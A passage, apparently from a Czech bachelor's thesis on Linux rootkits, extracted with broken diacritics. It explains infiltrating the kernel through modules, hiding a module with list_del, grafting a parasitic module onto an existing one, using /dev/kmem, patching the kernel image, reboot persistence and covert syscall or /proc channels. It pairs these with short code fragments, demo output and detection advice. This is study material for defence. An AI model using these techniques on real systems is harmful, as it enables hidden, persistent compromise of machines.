[17, 18, 19, 20, 21, 22].
4.1 Infiltrace ja´dra
K tomu, aby mohl by´t ko´d v ja´drˇe vykona´va´n, mus´ı by´t umı´steˇn v jaderne´m prostoru.
Co ale deˇlat, kdyzˇ uzˇ je ja´dro jednou zavedeno? Restartovat syste´m nen´ı cˇasto mozˇne´
ani zˇa´douc´ı. Linuxove´ ja´dro je za t´ımto u´cˇelem vybaveno schopnost´ı ”prˇilinkovat“ novy´
ko´d v podobeˇ modul˚u. Za´rovenˇ si z historicke´ho vy´voje nese obraz pameˇti dostupny´ prˇes
specia´ln´ı soubor /dev/{k}mem.
4.1.1 Moduly
Moduly umozˇnˇuj´ı zava´deˇt a odstranˇovat z ja´dra kusy ko´du za beˇhu. Umozˇnˇuj´ı tak
prˇidat funkcˇnost bez nutnosti restartu syste´mu a podporuj´ı modula´rn´ı strukturu. Psan´ı mo-
dul˚u prˇipomı´na´ tvorbu uda´lostneˇ rˇ´ızene´ aplikace. Modul ma´ sv˚uj vstupn´ı a vy´stupn´ı bod a
svoji funkcˇnost zprˇ´ıstupnˇuje zaregistrova´n´ım svy´ch rozhran´ı. Nahra´vat moduly do syste´mu
mu˚zˇe pouze nejvy´sˇe opra´vneˇny´ uzˇivatel a deˇje se tak pomoc´ı prˇ´ıkazu insmod module (cˇi
modprobe module, ktery´ doka´zˇe vyrˇesˇit i za´vislosti). Vy´sledkem je vyvola´n´ı syste´move´ho
vola´n´ı sys init module() a zaveden´ı modulu do syste´mu. Pro prˇ´ıpadne´ odstraneˇn´ı modulu
slouzˇ´ı prˇ´ıkaz rmmod module (podobneˇ modprobe -r module) pouzˇ´ıvaj´ıc´ı syste´move´ vola´n´ı
sys delete module(). Modul mu˚zˇe by´t odstraneˇn pouze pokud nen´ı pouzˇ´ıva´n. Vy´pis vsˇech
zavedeny´ch modul˚u v syste´mu zjist´ıme prˇ´ıkazem lsmod, ktery´ cˇerpa´ informace ze souboru
/proc/modules.
S programova´n´ım modul˚u souvis´ı jejich pracovn´ı prostrˇed´ı. To je tvorˇeno vsˇemi expor-
tovany´mi symboly z ja´dra, zna´me´ jako exported kernel interfaces cˇi kernel API. Symboly je
mozˇne´ exportovat pomoc´ı makra EXPORT SYMBOL pod r˚uzny´mi licencemi. Du˚vodem je
snaha vy´voja´rˇ˚u chra´nit ja´dro prˇed vy´razny´mi zmeˇnami v jeho strukturˇe proprieta´rn´ımi mo-
duly. Nova´ jaderna´ linie 2.6 s sebou prˇina´sˇ´ı rˇadu vylepsˇen´ı a zmeˇn oproti p˚uvodn´ı 2.4 verzi.
Vı´ce o te´to problematice lze nale´zt ve volneˇ dostupne´ publikaci Linux Device Drivers[3].
Pro u´tocˇn´ıka prˇedstavuje jaderna´ modula´rn´ı podpora vy´razne´ usnadneˇn´ı pra´ce. Vy´sledny´
ko´d je cˇisty´ a prˇenositelny´. Veˇtsˇina zaj´ımavy´ch symbol˚u je totizˇ jizˇ exportova´na nebo se
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daj´ı dohledat (viz kap. 2.2.1). Z tohoto d˚uvodu jsou i doprovodne´ zdrojove´ ko´dy te´to pra´ce
psa´ny formou jaderny´ch modul˚u.
Po zaveden´ı modulu do syste´mu se u´tocˇn´ık mus´ı postarat jesˇteˇ o jednu drobnost. Tou je
odstraneˇn´ı stop po zavedene´m modulu a zneviditelneˇn´ı modulu z pohledu prˇ´ıkazu lsmod.
K tomu mu˚zˇe pouzˇ´ıt jednu z na´sleduj´ıc´ıch alternativ:
1. Odstraneˇn´ı modulu ze seznamu
Prˇi studiu zava´deˇc´ı a odstranˇovac´ı funkce zjist´ıme, zˇe moduly jsou v ja´drˇe reprezen-
tova´ny pomoc´ı datovy´ch struktur struct module. Ty jsou mezi sebou prova´za´ny po-
moc´ı obousmeˇrneˇ va´zane´ho seznamu. Pra´veˇ z tohoto seznamu jsou cˇerpa´ny informace
pro reprezentaci souboru /proc/modules. Odpojen´ım modulu ze seznamu vytvorˇ´ıme








































Obra´zek 4.1: Odstraneˇn´ı modulu ze seznamu
Ko´d je pak jizˇ trivia´ln´ı. Makro THIS MODULE vrac´ı ukazatel na reprezentuj´ıc´ı struk-
turu modulu. Funkce list del() ji odpoj´ı ze seznamu. Nutno poznamenat, zˇe bez
opeˇtovne´ho zapojen´ı do seznamu nebude mozˇne´ modul ze syste´mu odstranit (nepo-
cˇ´ıta´me-li restart syste´mu). Prˇ´ıklad na vypojen´ı modulu ze seznamu je pod cˇ. xxvii
prˇ´ılohy A. Odpojen´ı ze seznamu provedeme takto:
struct module *this_module = THIS_MODULE; //Ukazatel na zava´deˇny´ modul
list_del(&this_module->list); //Odpojenı´ modulu ze seznamu
2. Sloucˇen´ı modul˚u
Dı´ky tomu, zˇe moduly jsou ve sve´ p˚uvodn´ı varianteˇ proste´ realokovatelne´ soubory typu
ELF1, mohou by´t slinkova´ny do jednoho souboru. Prˇi trosˇe u´sil´ı tak mu˚zˇeme ”prˇilepit“
na´sˇ sˇkodlivy´ ko´d na jizˇ existuj´ıc´ı modul. Plat´ı, zˇe kazˇdy´ modul mus´ı obsahovat vstupn´ı
funkci s na´zvem init module()2. Pro sve´ odstraneˇn´ı (v prˇ´ıpadeˇ, zˇe tuto mozˇnost
modul podporuje) mu˚zˇe by´t doplneˇn o funkci cleanup module()3.
K u´toku budeme potrˇebovat objekt existuj´ıc´ıho modulu original.o a na´mi vytvorˇeny´
modul sticker.c, ktery´ bude mı´t na´sleduj´ıc´ı kostru:
extern int init_module(void);
extern void cleanup_module(void);
1ELF je zkr. Executing and Linking Format.
2V ja´drech 2.6 je tato funkce vytvorˇena makrem module init().




... //Inicializace parazitnı´ho modulu





cleanup_module(); //Ukoncˇenı´ rˇa´dne´ho modulu
... //Ukoncˇenı´ parazitnı´ho modulu
return;
}
Po prˇelozˇen´ı sticker.c do relokativn´ı podoby sticker.o, pouzˇijeme prˇ´ıkaz ld -r
original.o sticker.o -o both.o pro slinkovan´ı obou celk˚u do jednoho. U´plneˇ na-
konec zby´va´ nahradit p˚uvodn´ı vstupn´ı funkci init module() za init sticky() a
vy´stupn´ı cleanup module() za cleanup sticky(). Na´hrady prova´d´ıme prˇ´ımo v ta-
bulce funkc´ı .symtab noveˇ vznikle´ho objektu both.o. Jedna´ se o bina´rn´ı na´hradu,
tedy jme´na novy´ch funkc´ı nesmı´ svoj´ı de´lkou prˇesa´hnout ty p˚uvodn´ı. Objekt both.o
je t´ımto prˇipraven na vytvorˇen´ı jaderne´ho modulu. Cely´ proces demonstruje skript
cˇ. xxviii dodatku A.
3. Uzˇit´ı metody skry´va´n´ı za´znamu˚ v souborech
Pozˇadovanou sluzˇbu, tedy skry´t urcˇity´ rˇeteˇzec v souboru, jsme jizˇ popisovali v kapi-
tole 3.3. Pro sve´ nedostatky zmı´neˇne´ v za´veˇru kapitoly se vsˇak pro tento u´cˇel prˇ´ıliˇs
nepouzˇ´ıva´.
4.1.2 Obraz pameˇti – soubory /dev/{k}mem
Doposud bylo nasˇe snazˇen´ı o pr˚uniky do ja´dra ulehcˇova´no podporou jaderny´ch mo-
dul˚u. Vysoce zabezpecˇene´ stanice ale modulovou podporu z d˚uvod˚u vysˇsˇ´ı stability a hlavneˇ
bezpecˇnosti nemı´vaj´ı. Pro u´tocˇn´ıka existuj´ı jesˇteˇ dalˇs´ı zp˚usoby infiltrace ja´dra. Slouzˇ´ı k tomu
soubor /dev/kmem, cozˇ je obraz jaderne´ virtua´lan´ı pameˇti, a soubor /dev/mem, cozˇ je ob-
raz fyzicke´ pameˇti. My se zameˇrˇ´ıme na prvn´ı jmenovany´, nebot’ pra´ce s n´ım je jednodusˇsˇ´ı.
Z pochopitelny´ch d˚uvod˚u je prˇ´ıstupny´ pouze superuzˇivateli. Pro pra´ci s n´ım pouzˇijeme
posixovou funkci mmap(), ktera´ na´m umozˇnˇuje namapovat kusy ja´dra do uzˇivatelske´ho pro-
storu. Na´sleduj´ıc´ı ko´d demonstruje pra´ci s jaderny´m adresovy´m prostorem (address >
0xc0000000) de´lky length (doporucˇuje se zarovnat na de´lku stra´nky) prˇes ukazatel p:
int fd; void *p;
fd = open("/dev/kmem", O_RDONLY); //Soubor otevrˇeme
p = mmap(NULL, length , PROT_READ, MAP_SHARED, fd, address);//Namapova´nı´




Nacˇten´ı pameˇti je pro u´tocˇn´ıka ta snazsˇ´ı cˇa´st. Bez symbol˚u a jejich adres bude nacˇteny´
ko´d pouze hroma´dkou nic nerˇ´ıkaj´ıc´ıch bajt˚u. Nejveˇtsˇ´ım pomocn´ıkem jsou jizˇ zmı´neˇne´ sou-
bory System.map a /proc/kallsyms. S nimi lze s nutnou da´vkou na´mahy naimplementovat
te´meˇrˇ vsˇe. Hroz´ı pouze vysˇsˇ´ı riziko vzniku chyb typu race condition, nebot’ prˇ´ıme´ za´pisy
do pameˇti nepodporuj´ı zˇa´dne´ synchronizacˇn´ı mechanismy. V prˇ´ıpadeˇ, zˇe ani jeden z teˇchto
soubor˚u k dispozici nen´ı, mus´ı u´tocˇn´ık vyuzˇ´ıt znalost´ı konkre´tn´ı architektury a prˇ´ıslusˇny´ch
zdrojovy´ch ko´d˚u beˇzˇ´ıc´ıho ja´dra. Pra´ce se t´ım vy´razneˇ komplikuje, nebot’ pro vyhleda´va´n´ı
symbol˚u mus´ıme pouzˇ´ıt ve velke´ mı´ˇre heuristiky. Doprovodny´ program cˇ. xxix prˇ´ılohy A
reimplementuje modul cˇ. iv (vyhleda´n´ı tabulky syste´movy´ch vola´n´ı pomoc´ı trasova´n´ı) za
pouzˇit´ı /dev/kmem.
Krom teˇzˇkopa´dne´ pra´ce a synchronizacˇn´ım rizik˚um vyvstupuj´ı i dalˇs´ı proble´my. V prˇ´ıpa-
deˇ, zˇe chceme do ja´dra nahra´t sv˚uj vlastn´ı ko´d, mus´ıme rˇesˇit i ota´zky souvisej´ıc´ı s umı´steˇn´ım
a spra´vnou realokac´ı ko´du. Pro maly´ ko´d je mozˇne´ pouzˇ´ıt nevyuzˇite´ zarovna´n´ı neˇktery´ch
stra´nek. Veˇtsˇ´ı s sebou typicky nese nutnost vyhleda´n´ı a pouzˇit´ı funkce kmalloc().
4.1.3 Prˇilinkova´n´ı k jaderne´mu souboru
Jinou z mozˇnost´ı je umı´stit sˇkodlivy´ ko´d prˇ´ımo do samotne´ho ja´dra. Pojmenova´n´ı a
umı´steˇn´ı ja´dra v souborove´m syste´mu za´vis´ı na zavadeˇcˇi. Veˇtsˇinou je ja´dro umı´steˇno v ad-
resa´rˇi /boot a ma´ na´zev vmlinuz-verze. Skla´da´ se z prvotn´ıch funkc´ı, ktere´ nahrazuj´ıc´ı
BIOS a umist’uj´ı ja´dro do pameˇti (v´ıce v kap. 4.2) a samotne´ho zkomprimovane´ho ja´dra.
Pro umı´steˇn´ı sve´ho ko´du do rozbalene´ho ja´dra mus´ıme splnit na´sleduj´ıc´ı dveˇ podmı´nky:
1. Ko´d mus´ı by´t umı´steˇn azˇ za budouc´ı BSS datovou oblast´ı. BSS oblast totizˇ vznika´ azˇ
v dobeˇ umist’ova´n´ı ko´du do pameˇti, tj. prˇed spusˇteˇn´ım. Podle normy je vyplneˇna
samy´mi nulami. Ko´d by tedy, v prˇ´ıpadeˇ umı´steˇn´ı hned za jaderny´m ko´dem, byl
prˇemaza´n samy´mi nulami. Proble´m vyrˇesˇ´ıme umı´steˇn´ım vy´plneˇ (budouc´ı BSS oblast)
mezi jaderny´ a na´sˇ ko´d. Dı´ky kompresi nebude vy´plnˇ prˇedstavovat te´meˇrˇ zˇa´dnou
pameˇt’ovou rezˇii nav´ıc.
2. Posunout hranici ja´dra tak, aby obsahoval i na´sˇ ko´d. V praxi to znamena´ zveˇtsˇit
hodnotu symbolu end pra´veˇ o velikost modulu.
Posledn´ı u´kol je zajistit vyvola´n´ı nasˇeho modulu neˇkdy v konecˇny´ch fa´z´ıch zava´deˇn´ı
ja´dra. Nejprakticˇteˇjˇs´ım zp˚usobem je modifikovat jadernou funkci, kterou vyuzˇ´ıva´ program
init. V te´to dobeˇ je syste´m jizˇ plneˇ inicializova´n a rˇa´dneˇ zaveden. Mu˚zˇeme k tomu pouzˇ´ıt
zp˚usob zna´my´ z kap. 2.2.1, kdy na zacˇa´tek funkce umı´st´ıme absolutn´ı skok do funkce nasˇ´ı.
T´ım vyvola´me na´sˇ modul, ktery´ se zinicializuje, oprav´ı p˚uvodn´ı funkci a rˇ´ızen´ı j´ı vra´t´ı. Ve
vy´sledku bude mı´t jaderny´ obraz podobu zna´zorneˇnou na obra´zku 4.2.
Mozˇnosti obrany a detekce
Pro vysoce zabezpecˇene´ stanice je za´kaz jaderny´ch modul˚u nutnost´ı. V prˇ´ıpadeˇ jejich
potrˇeby existuj´ı jaderne´ u´pravy, ktere´ umozˇn´ı zava´deˇt moduly pouze prˇi startu cˇi jinak
specia´lneˇ podepsane´. Proti zmeˇna´m v bina´rn´ım obraze ja´dra si vystacˇ´ıme s kontroln´ım
soucˇtem. Pro u´toky prˇes /dev/{k}mem jsou pro u´tocˇn´ıka nejcenneˇjˇs´ı soubory System.map
a /proc/kallsyms. System.map na stanici v˚ubec neumı´st’ujeme a podpora /proc/kallsyms
lze v ja´drˇe vypnout. Stejneˇ tak lze vypnout a do budoucna nejsp´ıˇse u´plneˇ vymiz´ı4 /dev/kmem.
Soubor /dev/mem, prˇedevsˇ´ım z d˚uvod˚u mapova´n´ı periferi´ı, v syste´mu zat´ım z˚usta´va´.
















Obra´zek 4.2: Struktura jaderne´ho obrazu vcˇetneˇ u´prav
4.2 Znovuspusˇteˇn´ı
Aby u´tocˇn´ık˚uv ko´d prˇezˇil restart syste´mu, mus´ı si zajistit opeˇtovne´ spusˇteˇn´ı prˇi jeho
zava´deˇn´ı. V praxi to znamena´ prˇidat vlastn´ı meziakci neˇkam do zava´deˇc´ı sekvence. Ta na
architektura´ch x86 prob´ıha´ v na´sleduj´ıc´ıch fa´z´ıch a je zna´zorneˇna na obra´zku 4.3.
1. BIOS. Po zapnut´ı pocˇ´ıtacˇe je do registr˚u procesoru nahra´na adresa 0xfffffff0. Ta od-
kazuje na specia´ln´ı typ pameˇti ROM, ktera´ obsahuje prvn´ı spusˇteˇny´ program BIOS5.
Procesor se za´rovenˇ nacha´z´ı v tzv. rea´lne´m rezˇimu, cozˇ znamena´, zˇe fyzicka´ adresa
se vypocˇ´ıta´ pouze pomoc´ı segmentace na´sleduj´ıc´ım vzorcem segment ∗ 16 + offset.
Tabulky deskriptor˚u a tabulka stra´nek jsou v tomto mo´du mimo hru. BIOS provede
za´kladn´ı testy (POST6) a inicializaci hardware. Pote´ prˇekop´ıruje prvn´ı sektor z me´dia
(u disku MBR7) do operacˇn´ı pameˇti a prˇeda´ mu rˇ´ızen´ı.
2. Zavadeˇcˇ syste´mu. Prvn´ı sektor obsahuje typicky zavadeˇcˇ operacˇn´ıho syste´mu. Jeho
u´kolem je zkop´ırovat zbytek sektor˚u, obsahuj´ıc´ıch zava´deˇny´ syste´m do pameˇti. Deˇje
se tak ve dvou cˇa´stech. Prvn´ı cˇa´st obsahuje program setup() a druha´ cˇa´st obsahuje
zkomprimovane´ ja´dro. Na konci je funkce setup() spusˇteˇna.
3. Funkce setup. Prova´d´ı vlastn´ı inicializaci hardware (nespole´ha´ na inicializaci BI-
OSu). Nastavuje provizorn´ı tabulku prˇerusˇen´ı a tabulku deskriptor˚u. Restartuje jed-
notku plovouc´ı desetinne´ cˇa´rky a rˇadicˇ prˇerusˇen´ı. Prˇep´ına´ procesor do chra´neˇne´ho
rezˇimu.
4. Funkce startup 32. V prvn´ı fa´zi provede dekompresi ja´dra. V druhe´ fa´zi vytva´rˇ´ı
prvn´ı proces v syste´mu, proces s ID = 0 (tzv. swapper cˇi idle process). K tomu
mus´ı nastavit tabulku stra´nek, povolit stra´nkova´n´ı a prˇepracovat tabulku prˇerusˇen´ı.
Vy´sledne´ hodnoty promı´tne do procesorovy´ch registr˚u.
5BIOS je zkr. Basic Input/Output System.
6POST je zkr. Power-On Self-Test.








































Obra´zek 4.3: Zaveden´ı syste´mu Linux
5. Funkce start kernel [swapper ]. Prova´d´ı inicializaci veˇtsˇiny jaderny´ch komponent
a podsyste´mu˚. Prˇedevsˇ´ım se jedna´ o cˇasovacˇ a komplexn´ı operace s pameˇt´ı. Vznika´
prvn´ı pra´voplatny´ potomek, proces s ID = 1 s na´zvem init. Proces s ID = 0 v syste´mu
z˚usta´va´ a jeho funkc´ı je vykona´vat pra´zdne´ instrukce v prˇ´ıpadeˇ, zˇe syste´m nema´
zˇa´dnou pra´ci.
6. Funkce start kernel [init ]. Posledn´ı fa´ze vrchol´ı dokoncˇen´ım vsˇech odlozˇeny´ch ini-
cializac´ı a spusˇteˇn´ım prvn´ıho spustitelne´ho souboru s na´zvem /sbin/init. Ten nacˇte
sv˚uj konfiguracˇn´ı skript ze souboru /etc/inittab a podle neˇho zavede vsˇechny ostatn´ı
sluzˇby syste´mu, v tomto prˇ´ıpadeˇ jizˇ ale do uzˇivatelske´ho prostoru. Na konci sve´ pra´ce
spust´ı termina´ly, umozˇnˇuj´ıc´ı uzˇivatel˚um prˇihla´sˇen´ı do syste´mu.
Ve vy´sledku ma´ u´tocˇn´ık neˇkolik mozˇnost´ı, jak doc´ılit sve´ho znovuzaveden´ı do syste´mu
prˇi restartu. Nejbeˇzˇneˇjˇs´ı zp˚usob je umı´steˇn´ı sve´ho vlastn´ıho skriptu do adresa´rˇe /etc/init.d.
Soubor by meˇl by´t v napadene´m syste´mu veden jako skryty´ (viz kap. 3.2), tj. po nastar-
tova´n´ı nebudou v adresa´rˇi zˇa´dne´ stopy. Urcˇitou obdobou je prove´st ty same´ akce pomoc´ı
vlastn´ıho souboru /sbin/init, ktery´ nejdrˇ´ıve zavede rootkit a pote´ spust´ı origina´ln´ı verzi
programu init. V prˇ´ıpadeˇ podpory modul˚u ja´drem je vhodny´ zp˚usob popisovany´ v kapi-
tole 4.1.1, kdy sv˚uj ko´d prˇilinkujeme do jizˇ existuj´ıc´ıho modulu, ktery´ je zava´deˇn prˇi startu.
Vı´ceme´neˇ posledn´ı mozˇnost´ı je upravit samotne´ ja´dro, aby na´sˇ sˇkodlivy´ ko´d obsahovalo ve
sve´m bina´rn´ım souboru (viz kap. 4.1.3). U´pravy prˇed zaveden´ım ja´dra jsou vlastn´ı sp´ıˇse
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experimenta´ln´ım vir˚um8.
Mozˇnosti obrany a detekce
Jelikozˇ se ve vsˇech prˇ´ıpadech bude jednat o soubory, plat´ı stejna´ pravidla a doporucˇen´ı
jako v kapitole 3.2. Prˇestozˇe je zaveden´ı syste´mu velmi slozˇity´ proces, mozˇnost´ı jak ho
v konecˇne´ fa´zi ovlivnit, je pouze neˇkolik. Administra´tor by tedy po zaveden´ı live distribuce
meˇl zkontrolovat kontroln´ı soucˇet ja´dra, soubor /sbin/init, jaderne´ moduly v adresa´rˇi
/lib/modules a skripty v adresa´rˇi /etc/init.d.
4.3 Komunikacˇn´ı rozhran´ı s jaderny´m prostorem
Jak jizˇ bylo neˇkolikra´t rˇecˇeno, prˇ´ımy´ prˇ´ıstup z uzˇivatelske´ho prostoru do prostoru
ja´dra nen´ı mozˇny´. U´tocˇn´ık ale neˇkdy potrˇebuje z hostitelske´ho stroje spojen´ı azˇ ke sve´mu
sˇkodlive´mu ko´du v ja´drˇe9. Potrˇebuje tedy neˇjaky´ zprostrˇedkovany´ komunikacˇn´ı kana´l. Mozˇnost´ı
je neˇkolik:
• Syste´move´ vola´n´ı
Jednou z mozˇnost´ı, vyuzˇ´ıvanou prˇedevsˇ´ım prˇi infiltraci ja´dra prˇes /dev/kmem, je
pouzˇ´ıt neˇjake´ zastarale´ nebo ma´lo pouzˇ´ıvane´ syste´move´ vola´n´ı (prˇ. oldolduname()).
Syste´move´ vola´n´ı pak na za´kladeˇ parametr˚u rozhodne, zda se bude chovat origina´ln´ım
zp˚usobem nebo komunikovat s nasˇ´ım ko´dem. Prˇ´ıklad:




case uninstall: //Proved’ prˇı´kaz
return uninstall();
...




• Souborovy´ syste´m /proc
Souborovy´ syste´m procfs obsahuje aktua´ln´ı stav neˇktery´ch jaderny´ch promeˇnny´ch.
Ty se pak tva´rˇ´ı jako obycˇejne´ soubory a jsou tedy prˇ´ıstupne´ uzˇivatelske´mu pro-
storu. Tento zp˚usob je vyuzˇitelny´ prˇedevsˇ´ım jaderny´mi moduly, nebot’ tvorba nove´ho
za´znamu v adresa´rˇi /proc vyzˇaduje znacˇne´ u´sil´ı. Novy´ soubor mus´ıme prˇes funkci
create proc entry() zaregistrovat, naplnit jeho operace cˇten´ı, za´pisu a urcˇit datove´
ulozˇiˇsteˇ pro promeˇnnou.
8Podrobneˇjˇs´ı informace jak upravit zavadeˇcˇ GRUB lze nale´zt v cˇla´nku [37]. Na zmeˇny v BIOSu se
zameˇrˇuje cˇla´nek [38].
9Minima´lneˇ kv˚uli mozˇnosti ko´d odinstalovat a t´ım zame´st stopy.
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file = create_proc_entry(filename, 0644, &proc_root);
file->data = &data; //Datova´ promeˇnna´
file->read_proc = proc_read_data; //Cˇtecı´ funkce
file->write_proc = proc_write_data; //Zapisovacı´ funkce
Ko´d prˇedstavuje pouze princip. Kompletn´ı implementace vcˇetneˇ funkc´ı
proc read data(), proc write data() a datove´ struktury data lze nale´zt v dopro-
vodne´m programu cˇ. xxx prˇ´ılohy A.
Mozˇnosti obrany a detekce
Zde v podstateˇ neexistuj´ı. Mozˇnost´ı, jak vymeˇnˇovat informace mezi uzˇivatelsky´m a ja-
derny´m procesem, je sice relativneˇ ma´lo, objem vymeˇnˇovany´ch informac´ı je ale obrovsky´.
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Za´veˇr
Pra´ci jsem se rozhodl rozdeˇlit do cˇtyrˇ uceleny´ch kapitol. U´vodn´ı seznamuje cˇtena´rˇe se
za´kladn´ımi pojmy z oblasti operacˇn´ıch syste´mu˚. Jej´ı velkou cˇa´st jsem veˇnoval architekto-
nicke´mu na´vrhu Linuxove´ho ja´dra, nebot’ pochopen´ı implementace, funkce a vza´jemne´ho
propojen´ı jednotlivy´ch jaderny´ch podsyste´mu˚ je pro studium na´sleduj´ıc´ıch kapitol kl´ıcˇove´.
Do prvn´ı kapitoly jsem se rozhodl zarˇadit i podkapitolu o za´sada´ch psan´ı programu˚ beˇzˇ´ıc´ıch
v jaderne´m prostoru. Jej´ı u´cˇel je poskytnout cˇtena´rˇi oporu prˇi studiu a experimentova´n´ım
s vlastn´ımi doprovodny´mi programy, ktere´ pra´ci od druhe´ kapitoly doprova´z´ı. V druhe´ ka-
pitole jsem vytvorˇil unika´tn´ı klasifikaci, kde jsem se zameˇrˇil na princip prova´deˇne´ho u´toku.
Oddeˇlil jsem tak zp˚usob u´toku od jeho c´ıle. Prˇi podrobne´m studiu rozhran´ı syste´movy´ch
vola´n´ı jsem objevil zp˚usob novy´, v pra´ci oznacˇeny´ jako CPU registr idtr. C´ıl u´tok˚u, syste´move´
sluzˇby, jsem roztrˇ´ıdil podle typu poskytovany´ch informac´ı do kapitoly trˇi. Nejveˇtsˇ´ı prostor
jsem veˇnoval skry´va´n´ı proces˚u, jezˇ jsem diskutoval v peˇti mozˇny´ch varianta´ch. Da´le jsem
se zaby´val metodami skry´va´n´ı soubor˚u a adresa´rˇ˚u, Internetovy´ch spojen´ı, zp˚usob˚um jak
prˇesmeˇrovat spousˇteˇny´ program a alternativa´m syste´move´ho odposlechu. Do za´veˇrecˇne´ ka-
pitoly jsem zarˇadil zp˚usoby infiltrace ja´dra a problematiku souvisej´ıc´ı se znovuspusˇteˇn´ım
parazitn´ıho ko´du prˇi restartova´n´ı napadene´ stanice. Za t´ımto u´cˇelem jsem podrobil zp˚usob
zava´deˇn´ı operacˇn´ıho syste´mu Linux detailn´ı analy´ze. Pra´ci uzav´ıra´ podkapitola o komu-
nikacˇn´ıch rozhran´ıch.
V pr˚ubeˇhu cele´ pra´ce jsem se snazˇil o rozbor vy´hod a nevy´hod metod jednotlivy´ch
u´tok˚u. Mozˇnostem jejich detekce a vhodne´ obrany proti nim jsem veˇnoval kra´tky´ odsta-
vec v za´veˇru kazˇde´ z podkapitol. Vyply´va´ z nich nutnost tvorby kontroln´ıch soucˇt˚u vsˇech
d˚ulezˇity´ch syste´movy´ch programu˚ a zaznamena´n´ı hodnot rizikovy´ch jaderny´ch promeˇnny´ch
(cˇasto ukazatel˚u na funkce). Jejich zmeˇna je jasny´m signa´lem o diskreditaci pouzˇ´ıvane´
stanice. Vysoky´m bezpecˇnostn´ım rizikem je nekontrolovana´ podpora jaderny´ch modul˚u.
U´tocˇn´ık d´ıky n´ım mu˚zˇe snadno proniknout azˇ do nejnizˇsˇ´ıch vrstev operacˇn´ıho syste´mu.
Jinou mozˇnost´ı, jak zave´st program do ja´dra, je vyuzˇ´ıt jeden z dvojice specia´ln´ı soubor˚u
/dev/mem a /dev/kmem. Tento typ u´toku vyzˇaduje znalost adres promeˇnny´ch a funkc´ı,
ktere´ jsou k nalezen´ı v souborech System.map a /dev/kallsyms. Ani jeden by se nemeˇl na
produkcˇn´ıch stanic´ıch vyskytovat.
Vy´raznou roli v cele´m textu zasta´vaj´ı doprovodne´ programy, ktere´ formou experimentu
prob´ıranou la´tku a d´ılcˇ´ı za´veˇry oveˇrˇuj´ı. Poma´haj´ı diskutovanou problematiku zasadit do
funkcˇn´ıho celku a mohou slouzˇit i jako vy´chodisko pro tvorbu vlastn´ıch pokus˚u. Ve vy´sledku
jsem vytvorˇil sadu trˇiceti vlastn´ıch uniformn´ıch programu˚, naprogramovany´ch specia´lneˇ pro
u´cˇely te´to bakala´rˇske´ pra´ce. Jejich orientacˇn´ı vy´stup se nacha´z´ı v prˇ´ıloze A, jejich zdrojove´
ko´dy na prˇilozˇene´m datove´m nosicˇi.
Beˇhem studia jaderny´ch zdrojovy´ch ko´d˚u jsem vytvorˇil podrobny´ rejstrˇ´ık symbol˚u, ktery´
se nacha´z´ı v dodatku B. Rejstrˇ´ık umozˇnˇuje rychle´ vyhleda´n´ı definic struktur a funkc´ı, na
ktere´ je ve vy´kladu odkazova´no.
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Srovna´n´ı verˇejny´ch rootkit˚u obsahuje prˇ´ıloha C. Pro tento u´cˇel jsem vybral sˇest nej-
zaj´ımaveˇjˇs´ıch prˇedstavitel˚u s co mozˇna´ nejrozmaniteˇjˇs´ı strukturou. Uvedl jsem jejich strucˇnou
charakteristiku a jejich vlastnosti porovnal v tabulka´ch. Prˇi jejich studiu jsem dosˇel k po-
znatku, zˇe pr˚umeˇrna´ doba mezi vznikem a uvolneˇn´ım podobne´ho typu programu verˇejnosti
je dva azˇ trˇi roky.
Pra´ce by mohla v dalˇs´ı vy´vojove´ etapeˇ pokracˇovat hned v neˇkolika rovina´ch. Jednou
z mozˇnost´ı je tvorba experimenta´ln´ıch detekcˇn´ıch na´stroj˚u, ktere´ by do svy´ch vy´sledk˚u
zahrnovaly i heuristicke´ a fuzzy metody10. Dalˇs´ı mozˇnost´ı je vy´zkum, vy´voj a experi-
mentova´n´ı s pokrocˇily´mi principy modifikace jaderny´ch podsyste´mu˚. Tyto experimenty by
mohly vyu´stit v tvorbu pokrocˇile´ho rootkitu, reflektuj´ıc´ı nabyte´ teoreticke´ a prakticke´ po-
znatky.
10Hleda´n´ı datovy´ch struktur, reprezentuj´ıc´ı proces cˇi modul v pameˇti. Pocˇ´ıta´n´ı dlouhodobe´ho pr˚umeˇru
vykonany´ch instrukc´ı v kriticky´ch funkc´ıch ...
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Seznam pouzˇity´ch zkratek a
symbol˚u
zkratka cely´ na´zev vysveˇtlen´ı
GNU GNU Projekt operacˇn´ıho syste´mu zameˇrˇene´ho
na svobodny´ software.
IA-32 Intel Architecture, 32-bit Intel architektura, 32-bit.
CISC Complex Instruction Set Computer Procesor s komplexn´ı sadou instrukc´ı.
BSS Block Started by Symbol Datovy´ segment.
MMU Memory Management Unit Hardware jednotka pro prˇeklad logicky´ch
adres na fyzicke´.
PID Process IDentifier Unika´tn´ı cˇ´ıslo identifikuj´ıc´ı proces.
VFS Virtual File System Vytva´rˇ´ı jednotne´ rozhran´ı pro pra´ci s
r˚uzny´mi souborovy´mi syste´my.
API Application Programming Interface Rozhran´ı pro programova´n´ı aplikac´ı.
IP Internet Protocol Protokol pro komunikaci v Internetu.
TCP Transmission Control Protocol Protokol pro komunikaci v Internetu.
ICMP Internet Control Message Protocol Protokol pro komunikaci v Internetu.
ELF Executable and Linkable Format Standardn´ı Unixovy´ soubory´ forma´t.
IRQ Interrupt ReQuest Pozˇadavek na prˇerusˇen´ı.
BIOS Basic Input Output System Za´kladn´ı programove´ vybaven´ı PC.
POST Power-on self-test Kontrola syste´movy´ch komponent.
MBR Master Boot Record Prvn´ı sektor disku.
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Seznam prˇ´ıloh
Prˇ´ıloha A Vy´stupy demonstracˇn´ıch programu˚
Prˇ´ıloha B Rejstrˇ´ık symbol˚u





user@pc:~/src/demos/syscalls/setuid$ make > /dev/null
user@pc:~/src/demos/syscalls/setuid$ make run
./setuid




Ze souboru /boot/System.map-2.6.16.59 zjistuji adresu symbolu sys_call_table
c02f346c R sys_call_table
iii. sct heuristic.c








[17185911.484000] Modul sct_heuristic zaveden.
[17185911.496000] Modul sct_heuristic byl uspesne odstranen z jadra.
S pouzitim /proc/kallsyms
[17185911.544000] Modul sct_heuristic se zavadi do jadra.
[17185911.544000] sys_call_table: 0xc02f346c
[17185911.576000] Modul sct_heuristic zaveden.
[17185911.592000] Modul sct_heuristic byl uspesne odstranen z jadra.
iv. sct idt.c
user@pc:~/src/demos/symbols/sct_idt$ make > /dev/null
user@pc:~/src/demos/symbols/sct_idt$ make run
sudo insmod sct_idt.ko; dmesg | tail -n 5; sudo rmmod sct_idt.ko; dmesg | tail -n 1;




[17186798.784000] Modul sct_idt zaveden.
